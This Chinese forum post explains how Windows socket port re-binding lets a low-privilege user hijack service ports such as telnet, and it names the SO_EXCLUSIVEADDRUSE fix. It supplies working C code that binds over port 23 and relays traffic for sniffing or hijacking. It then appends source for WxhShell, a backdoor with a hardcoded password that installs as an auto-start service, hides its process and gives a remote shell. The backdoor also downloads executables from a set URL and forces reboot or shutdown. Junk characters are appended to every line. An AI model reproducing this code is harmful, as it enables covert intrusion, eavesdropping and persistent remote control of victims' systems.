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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: J;?#Zt]`L  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ROWb:tX}  
_RzwE$+9  
  saddr.sin_family = AF_INET; 1M%'Xe7  
zn5U(>=c  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); b< ]--\  
)3W`>7>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); XiP xg[;  
]h]|PdN  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 fSe$w#*I  
/}%$fB  
  这意味着什么?意味着可以进行如下的攻击: p i ;,?p-  
Idq &0<I  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 BhO*Pfs  
3<5E254N  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) P>*B{fi^  
*aE/\b  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Idy{(Q  
vr/O%mDp  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )qg cz<p?W  
^qn,b/>L  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 iL^bf*  
B@v\tpR  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {'.[N79xP  
k!{0ku}]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 RnvPqNs  
oCl $ 0x  
  #include pS1f y]  
  #include z#$>f*b  
  #include PL+j;V(<  
  #include    r2KfZ>tWg"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -vRZCIj!  
  int main() r&^xg`i[z>  
  { h .A@o#x  
  WORD wVersionRequested; RmR-uQU-c  
  DWORD ret; )<]*!  
  WSADATA wsaData; W%3<"'eP  
  BOOL val; JG]67v{F  
  SOCKADDR_IN saddr; Ts+S>$  
  SOCKADDR_IN scaddr; m7GM1[?r  
  int err; P;A9t#\  
  SOCKET s; sj"zgE)  
  SOCKET sc; C\ ~!2cy  
  int caddsize; =5 a|'O  
  HANDLE mt; V^n?0^o  
  DWORD tid;   0^5*@vt  
  wVersionRequested = MAKEWORD( 2, 2 ); j. @CB`  
  err = WSAStartup( wVersionRequested, &wsaData ); f!3$xu5  
  if ( err != 0 ) { vG`;2laY  
  printf("error!WSAStartup failed!\n"); /7s^OkQ  
  return -1; H$M#+EfL  
  } *.4VO+^  
  saddr.sin_family = AF_INET; MF7q*f  
   5Op|="W.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 OKXELP  
3Pj#k|(f[0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7P& O{tl(  
  saddr.sin_port = htons(23); ({"jL*S,q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kOu C@~,  
  { \`FpBE_e)  
  printf("error!socket failed!\n"); KdBE[A-1^M  
  return -1; 2j9+ f{ l  
  } S< TUZ /;  
  val = TRUE; )SX2%&N  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2J>v4EWC  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~9[^abz  
  { ?+Q?K30:  
  printf("error!setsockopt failed!\n"); =vd9mb-  
  return -1; SFj:|S=v6j  
  } #@ quuiYq  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <)f1skJsP  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 - &AgjzN!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6RA4@bIG  
Ys+2/>!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) y4j J&  
  { RM5$O+"  
  ret=GetLastError(); /h.hFM/  
  printf("error!bind failed!\n"); |%V-|\GJ~j  
  return -1; g>@T5&1q*  
  } z0yPBt1W  
  listen(s,2); l\Q--  
  while(1) lQkCA-  
  { vr:5+wew  
  caddsize = sizeof(scaddr); u\&F`esQ2  
  //接受连接请求 ;ui=7[ Us  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &l&B[s6[  
  if(sc!=INVALID_SOCKET) R#K,/b%SV  
  { 5a0&LNm  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); KOYU'hw  
  if(mt==NULL) p3Ey[kURp  
  { >Y3ZK{b  
  printf("Thread Creat Failed!\n"); &8w MGahp  
  break; j'2:z#  
  } vVA)x~^  
  } :n%KHen3\  
  CloseHandle(mt); '}F=U(!  
  } j9voeV|7  
  closesocket(s); Cyn_UE  
  WSACleanup(); @4ccZ&`  
  return 0; u{Rgk:bn  
  }   UWf@(8  
  DWORD WINAPI ClientThread(LPVOID lpParam) NFAjh?#  
  { $,s"c(pv[,  
  SOCKET ss = (SOCKET)lpParam; :iKk"r,2P[  
  SOCKET sc; xE0'eC5n^  
  unsigned char buf[4096]; 0@BhRf5  
  SOCKADDR_IN saddr; )0tq&  
  long num; lDK<gd  
  DWORD val; t XbMP  
  DWORD ret; rQrh(~\:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,; 81FK  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   cBGR%w\t%  
  saddr.sin_family = AF_INET; ^U5g7Emf  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /:BM]K  
  saddr.sin_port = htons(23); t>Ot)d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4:50dj  
  { Qf$3!O}G  
  printf("error!socket failed!\n"); 1( nK|  
  return -1; oh @|*RU  
  } zCuN 8  
  val = 100; 0v"h /  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [VL+X^  
  { 5GHW~q!Zo\  
  ret = GetLastError(); u A=x~-I  
  return -1; V 5  
  } u?a4v\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P c'0.4  
  { :JI&ngWK  
  ret = GetLastError(); ]ssX,1#Xh  
  return -1; 5Mb5t;4b  
  } T\"eqa  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) v ?OIK=Xm  
  { p10i_<J]=  
  printf("error!socket connect failed!\n"); ]Av)N6$&-Z  
  closesocket(sc); Y6R+i0guz  
  closesocket(ss); =Felo8+   
  return -1; iN]#XIQ%  
  } V\=QAN^  
  while(1) HUuZ7jJwf  
  { 3<:m;F*#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 X1N*}@:/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :#pfv)W6t  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [ELg:f3}5  
  num = recv(ss,buf,4096,0); NZaMF.  
  if(num>0) =]Vrl-a`^  
  send(sc,buf,num,0); Q=}U  
  else if(num==0) ;bh[TmQTJ  
  break; uJg|  
  num = recv(sc,buf,4096,0); [\|p~Qb)s  
  if(num>0) 0DR:qw  
  send(ss,buf,num,0); /z(;1$Ld6{  
  else if(num==0) V39`J*fI  
  break; { d*?O  
  } sDF5  
  closesocket(ss); ' Akt5q  
  closesocket(sc); M<KWx'uV  
  return 0 ; aplOo[  
  } :TTZ@ q  
^~65M/  
Rv^ \o  
========================================================== +Vsd%AnN"l  
w<54mGMOLr  
下边附上一个代码,,WXhSHELL :"utFBO  
/P}Wp[)u  
========================================================== "n Zh u k  
B]C 9f  
#include "stdafx.h" 5j S8{d0  
|OVD*A  
#include <stdio.h> +|OrV'  
#include <string.h> NR@n%p  
#include <windows.h> }o  {6  
#include <winsock2.h> .on}F>3k$  
#include <winsvc.h> {rE]y C^  
#include <urlmon.h> + NpH k  
Oj`I=O6  
#pragma comment (lib, "Ws2_32.lib") CdFr YL+F  
#pragma comment (lib, "urlmon.lib") g~Hmka_fD1  
sm1(I7y  
#define MAX_USER   100 // 最大客户端连接数 ^@a|s Sb  
#define BUF_SOCK   200 // sock buffer 2uajK ..b  
#define KEY_BUFF   255 // 输入 buffer *H''.6  
PL6f**{-  
#define REBOOT     0   // 重启 ~ v21b?   
#define SHUTDOWN   1   // 关机 =Kh1 HU.F  
' 6#en9{L  
#define DEF_PORT   5000 // 监听端口 Kz`g Q|S  
{ :~&#D  
#define REG_LEN     16   // 注册表键长度 #383W)n  
#define SVC_LEN     80   // NT服务名长度 IBY(wx[5S  
}.$5'VGO  
// 从dll定义API s<;kTReA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MNzWTn@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <dAD-2O+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q/N1q&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9}_ccq  
Bf-KCqC".  
// wxhshell配置信息 ,f(:i^iz!  
struct WSCFG { A['0~tOP  
  int ws_port;         // 监听端口 e>a4v8  
  char ws_passstr[REG_LEN]; // 口令 p\&Lbuzv  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'K:zW>l  
  char ws_regname[REG_LEN]; // 注册表键名 q%H#04Yh  
  char ws_svcname[REG_LEN]; // 服务名 q4wS<, 3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XzH"dDAVE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c|,6(4j>$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rgOc+[X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [fjP.kw;J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ( ;(DI^Un8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {;T7Kg.C  
~$ FgiW  
}; UOwEA9q%  
-%g&O-i\  
// default Wxhshell configuration S~+er{,ht4  
struct WSCFG wscfg={DEF_PORT, |_ u  
    "xuhuanlingzhe", TTSyDl  
    1, 1[&V6=n  
    "Wxhshell", $QB~ x{v@n  
    "Wxhshell", (aQNe{D#  
            "WxhShell Service", },W<1*|  
    "Wrsky Windows CmdShell Service", <RFT W}f!  
    "Please Input Your Password: ", zZ11J0UI  
  1, ^zs]cFN#%  
  "http://www.wrsky.com/wxhshell.exe", u}:p@j}Zv  
  "Wxhshell.exe" 8:=EA3  
    }; "dN4EA&QJ  
ys#V_ysb  
// 消息定义模块 R3`h$`G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [Jjb<6[o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;94e   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ld?-Ik~fF>  
char *msg_ws_ext="\n\rExit.";  \W',g[Y:  
char *msg_ws_end="\n\rQuit."; `1T?\  
char *msg_ws_boot="\n\rReboot..."; -? |-ux  
char *msg_ws_poff="\n\rShutdown..."; U/|;u;H=  
char *msg_ws_down="\n\rSave to "; %JsCw8C6?  
MS~|F^g  
char *msg_ws_err="\n\rErr!"; %9qG|A,cA  
char *msg_ws_ok="\n\rOK!"; F6$QEiDu@  
A3Lfh6O  
char ExeFile[MAX_PATH]; jZ5 mpYUO  
int nUser = 0; K\2UwX  
HANDLE handles[MAX_USER]; ;:/<XfZ  
int OsIsNt; !pMp n%r<]  
k ='c*`IE  
SERVICE_STATUS       serviceStatus; 2Kg+SLU[~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [!k#au+#c  
4-wCk=I  
// 函数声明 {}W9m)I  
int Install(void); U~)i&":sN  
int Uninstall(void); \~O}V~wE  
int DownloadFile(char *sURL, SOCKET wsh); AdWLab;  
int Boot(int flag); @2>j4Sc  
void HideProc(void); \>%.ktG  
int GetOsVer(void); REe<k<>p~  
int Wxhshell(SOCKET wsl); >Wbt_%dKy  
void TalkWithClient(void *cs); l1utk8'-  
int CmdShell(SOCKET sock); :4(.S<fH)-  
int StartFromService(void); uoIvFcb^  
int StartWxhshell(LPSTR lpCmdLine); D_W,Jmet  
o_K. +^$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z|h&Zd1z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =mq02C~y  
Z^ e?V7q  
// 数据结构和表定义 k^vsQ'TD  
SERVICE_TABLE_ENTRY DispatchTable[] =  @o g&l;  
{ JQp::,g  
{wscfg.ws_svcname, NTServiceMain}, ,vnHEY&  
{NULL, NULL} 4%]wd}'#Un  
}; bc{ {a  
EC]b]'._  
// 自我安装 5dPPm%U{  
int Install(void) z'(][SB  
{ J!5>8I(_wX  
  char svExeFile[MAX_PATH]; 8)1 k>=  
  HKEY key; (1|_Nr  
  strcpy(svExeFile,ExeFile); xD#r5  
C]xKdPQj%  
// 如果是win9x系统,修改注册表设为自启动 Y@+e)p{  
if(!OsIsNt) {  YXdd=F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w[A$bqz   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `h:$3a:5  
  RegCloseKey(key); J'%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <DM /"^*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OjUZ-_J  
  RegCloseKey(key); &f:"p*=a\  
  return 0; '4L0=G:A<q  
    } me7?   
  } C XZO  
} |?tUUT!`t  
else { 2GHmA_7P  
'}Tf9L%  
// 如果是NT以上系统,安装为系统服务 POl[]ni=>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $Eo)i  
if (schSCManager!=0) !D_Qat  
{ C|@6rr9TA  
  SC_HANDLE schService = CreateService "8'aZ.P  
  ( %s^2m"ca}=  
  schSCManager, ~; emUU  
  wscfg.ws_svcname, \G!TC{6  
  wscfg.ws_svcdisp, "'@iDq%y  
  SERVICE_ALL_ACCESS, cr&sI=i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SXA`o<Ma  
  SERVICE_AUTO_START, AaVj^iy/X  
  SERVICE_ERROR_NORMAL, L ~,x~sLd  
  svExeFile, mX2(SFpJar  
  NULL, }! jk  
  NULL, I1IuvH6  
  NULL, m~LB0u$ac  
  NULL, 4l7FV<g  
  NULL zJ*|tw4  
  );  u Z(vf  
  if (schService!=0) rfl-(_3  
  { @-7h}2P Q  
  CloseServiceHandle(schService); )YB @6TiD  
  CloseServiceHandle(schSCManager); LFi8@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F@76V$U.  
  strcat(svExeFile,wscfg.ws_svcname); B ``)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :$>Co\D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .??[qBOTE  
  RegCloseKey(key); K KPQ[3g  
  return 0; Y6>@zznk  
    } J`&*r;""V  
  } 3XCePA5z  
  CloseServiceHandle(schSCManager); (zVT{!z  
} v*Fr #I0U  
} * mzJ)4A  
 Stzv  
return 1; Z|8oD*,  
} WB: NV=&^  
'_f]qNy  
// 自我卸载 8f""@TTp  
int Uninstall(void) JDQ7  
{ ot"3 3I  
  HKEY key; E3):8>R;1  
N3_rqRd^  
if(!OsIsNt) { ]dx6E6A,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yJ\K\\]  
  RegDeleteValue(key,wscfg.ws_regname); *?'^R c  
  RegCloseKey(key); V<ZohB?y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K,!"5WrX*  
  RegDeleteValue(key,wscfg.ws_regname); W+F^(SC\  
  RegCloseKey(key); u9TiEEof3  
  return 0; <"93  
  } \c"{V-#o\  
} %Km^_JM  
} oVG/[e|c'  
else { /M}jF*5N  
69z,_p$@:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w?r   
if (schSCManager!=0) D4@'C4kL  
{ ~^&]8~m*d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jp~C''Sj  
  if (schService!=0) #s4v0auK  
  { /$q9 Kxb  
  if(DeleteService(schService)!=0) { (}]ae*  
  CloseServiceHandle(schService); :y>$N(.8f  
  CloseServiceHandle(schSCManager); d]89DdZk  
  return 0; )_m#|U?Rex  
  } [>rX/a%c  
  CloseServiceHandle(schService); x&ngCB@O  
  } pj~Ao+  
  CloseServiceHandle(schSCManager); +"u6+[E  
} Ju0W  
} F8c^M</  
=B+^-2G8  
return 1; F%Xj'=  
} 7a,/DI2o  
_(qU%B  
// 从指定url下载文件 !| G 8b'  
int DownloadFile(char *sURL, SOCKET wsh) =54"9*  
{ $.7Ov|  
  HRESULT hr; 1>KZ1Kf  
char seps[]= "/"; h{J=Rq  
char *token; aSN"MTw.  
char *file; d x/NY1  
char myURL[MAX_PATH]; yF~iVt  
char myFILE[MAX_PATH]; 6 lp.0B  
qs["&\@  
strcpy(myURL,sURL); TQor-Cymz  
  token=strtok(myURL,seps); '@{'T LMCi  
  while(token!=NULL) 2feiD?0  
  { 3M?vK(zG>P  
    file=token; c]u^0X?&  
  token=strtok(NULL,seps); "JH / ODm  
  } o 0-3[W'x<  
Cwb }$=p'  
GetCurrentDirectory(MAX_PATH,myFILE); )kBN]>&R  
strcat(myFILE, "\\"); i^i^g5l!  
strcat(myFILE, file); a*qf\ &Vb|  
  send(wsh,myFILE,strlen(myFILE),0); Hn- k*Y/P  
send(wsh,"...",3,0); SR+<v=i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5kRP Sfh  
  if(hr==S_OK) _o'3v=5T  
return 0; yV'<l .N  
else hC nqe  
return 1; lZt{L0  
Y$@?Y/rhR  
} _&U5 u  
A9?h*/$  
// 系统电源模块 _ ?\4k{ET  
int Boot(int flag) O%>FKU>(?  
{ R*DQm  
  HANDLE hToken; 3U_,4qf  
  TOKEN_PRIVILEGES tkp; c`F~vrr)X  
2l8TX#K  
  if(OsIsNt) { 3 ;N+5*-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p^E}%0#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Fz3QSr7FU  
    tkp.PrivilegeCount = 1; iG.qMf.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _#kjiJj *  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y [pU8QSt  
if(flag==REBOOT) { 8,5H^Bi  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OYj4G ?c  
  return 0; |%i|P)]  
} #S*@RKSE|7  
else { A`H&" A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]tu:V,q  
  return 0; o#X=1us  
} *Dz<Pi^  
  } 'QMvj` -  
  else { jn+M L&  
if(flag==REBOOT) { U#7moS'r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hDP&~Mk  
  return 0; M_ GN3  
} B uv4&.Z}  
else { ZjOUk;H?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +Vf39}8  
  return 0; _:0)uR LS  
} aCwb[7N  
} hv6w=?7  
Me.t_)  
return 1; Xv5|j/<~p  
} _LOV&83O(  
bR0z$~  
// win9x进程隐藏模块 R3[H#*gF<  
void HideProc(void) AzfYw'^&9  
{  w`77E=  
3Mw2;.rk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Xyf7sHQ  
  if ( hKernel != NULL ) RH"&B`  
  { .;:jGe(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); OE"r=is  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G OzV#  
    FreeLibrary(hKernel); NY& |:F  
  } =s\RK   
:J'ibb1  
return; ,)CRozC\}K  
} 4;_<CB  
o|FY-+  
// 获取操作系统版本 2f=7`1RCD  
int GetOsVer(void) Y(` # J[  
{ V&j |St[  
  OSVERSIONINFO winfo; /=|5YxY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %)|_&Rh  
  GetVersionEx(&winfo); EE^ N01<"\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1l~(J:DT  
  return 1; Y XBU9T{r  
  else (Vvs:h%H  
  return 0; M[Kk43;QY!  
} $;ssW"7~Qn  
? 7H'#l  
// 客户端句柄模块 v)TFpV6b{p  
int Wxhshell(SOCKET wsl) EZz`pE  
{ 5z$>M3  
  SOCKET wsh; %U4w@jp  
  struct sockaddr_in client; Ga%x(1U[&  
  DWORD myID; ,z*-93H1  
Gz>M`M`[4  
  while(nUser<MAX_USER) ]Q%|69H}B  
{ [T5z}!_y  
  int nSize=sizeof(client); \Jcj4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X5M{No>z  
  if(wsh==INVALID_SOCKET) return 1; v+3-o/G7  
LMV0:\>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y'a(>s(  
if(handles[nUser]==0) K?4/x4p@  
  closesocket(wsh); Pdg%:aY  
else a9OJC4\  
  nUser++; upJ|`,G{  
  } :N3'$M"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /!u#S9_B  
Q]?Lg  
  return 0; vbZGs7%  
} 5_d=~whO&2  
[CfA\-gx<f  
// 关闭 socket => PBdW  
void CloseIt(SOCKET wsh) * MJl(  
{ "DW; 6<m  
closesocket(wsh); mp{r$tc  
nUser--; iTt#%Fs)4M  
ExitThread(0); e^Ds|}{V  
} r RfPq  
!*U#,qY  
// 客户端请求句柄 >-~2:d\M3  
void TalkWithClient(void *cs) Gob;dku  
{ `$X|VAS2  
8@S5P$b};  
  SOCKET wsh=(SOCKET)cs; xSQ0]vE  
  char pwd[SVC_LEN]; q0}?F  
  char cmd[KEY_BUFF]; C&\vVNV;9  
char chr[1]; D-/aS5wM  
int i,j; OfR\8hAY  
""dX4^gtU  
  while (nUser < MAX_USER) { ~+y0UEtq7  
$S"QyAH~-a  
if(wscfg.ws_passstr) { Vs)%*1><  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UacGq,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ATeXOe  
  //ZeroMemory(pwd,KEY_BUFF); W[dMf!(  
      i=0; `mI% Se  
  while(i<SVC_LEN) { ]wMp`}$b@L  
}> 51oBgk_  
  // 设置超时 e<wRA["  
  fd_set FdRead; 0P5!fXs*  
  struct timeval TimeOut; 9}4EW4  
  FD_ZERO(&FdRead); )6S;w7  
  FD_SET(wsh,&FdRead); "dKYJ&$  
  TimeOut.tv_sec=8; $J~~.PUXQ  
  TimeOut.tv_usec=0; +Oae3VFf;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "! yKX(aTX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  9"@P.8_  
jJpSn[{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r "^ {?0  
  pwd=chr[0]; I92c!`{  
  if(chr[0]==0xd || chr[0]==0xa) { >PsP y.  
  pwd=0; a?+Ni|+  
  break; !f(aWrw7e6  
  } :Rs% (Z  
  i++; )$#r6fQO  
    } dh7PpuN{  
!U,^+"l'GP  
  // 如果是非法用户,关闭 socket 0I.9m[<Fc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3X+uJb2  
} !Q,A#N(  
S=Ihg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b}G4eXkuj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a<.7q1F  
>.D0McQg  
while(1) { ;w(]z  
<JA`e+Bi  
  ZeroMemory(cmd,KEY_BUFF); hIj[#M&6  
%j].' ;  
      // 自动支持客户端 telnet标准   +s6 wF{  
  j=0; ${$XJs4  
  while(j<KEY_BUFF) { 2$D *~~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5G~;g  
  cmd[j]=chr[0]; eQk ~YA]K  
  if(chr[0]==0xa || chr[0]==0xd) { fwy-M:  
  cmd[j]=0; 8ycmvpJ  
  break; 26fm }QV  
  } Fr%LV#Q  
  j++; &`a$n2ycy  
    } tQ7DdVdix  
gT K5z.]  
  // 下载文件 8s4y7%,|  
  if(strstr(cmd,"http://")) { Nxu 10  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wz*QB6QtU  
  if(DownloadFile(cmd,wsh)) 2a;vLc4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +$)C KC  
  else B| IQ/g?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e75 k-  
  } (89NK]2x  
  else { o7feH 6Sh  
.+G),P)   
    switch(cmd[0]) { U*Z P>Vv  
  t)o #!)|  
  // 帮助 (/&IBd-  
  case '?': { 8wz4KG3SK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %h** L'~``  
    break; H|='|k5Y.  
  } ^4LkKYMS  
  // 安装 F|*{Ma  
  case 'i': { d{.cIv  
    if(Install()) Q6y883>9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {~ yj]+Im  
    else PUB|XgQDY:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "C$z)  
    break; :(?joLA  
    } Nm%&xm  
  // 卸载 <CJua1l\  
  case 'r': { gF1q Z=<  
    if(Uninstall()) `h12  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {zBf*x  
    else r00waw>C\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p~I+ZYWF'  
    break; nnIBN4  
    } 7X.rGJZq  
  // 显示 wxhshell 所在路径 ;rpjXP  
  case 'p': { km'3[}8o&  
    char svExeFile[MAX_PATH]; A!s\;C  
    strcpy(svExeFile,"\n\r"); s M({u/  
      strcat(svExeFile,ExeFile); >e*m8gm#  
        send(wsh,svExeFile,strlen(svExeFile),0); A1@tp/L=o  
    break; fi+u!Y*3Z  
    } d<. hkNN  
  // 重启  vrdlI^  
  case 'b': { wly#|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |$#u~<r_ w  
    if(Boot(REBOOT)) -,Cx|Nl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9_[TYzpB!  
    else { }6.R.*Imz  
    closesocket(wsh); :kqJ~  
    ExitThread(0); Dna0M0   
    } Z5;1ySn{  
    break; $6h:j#{JE  
    } =C 8 t5BZ"  
  // 关机 M *BDrM  
  case 'd': { 7+JQaYO`"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4&)*PKq  
    if(Boot(SHUTDOWN)) d/Xbk%`p  
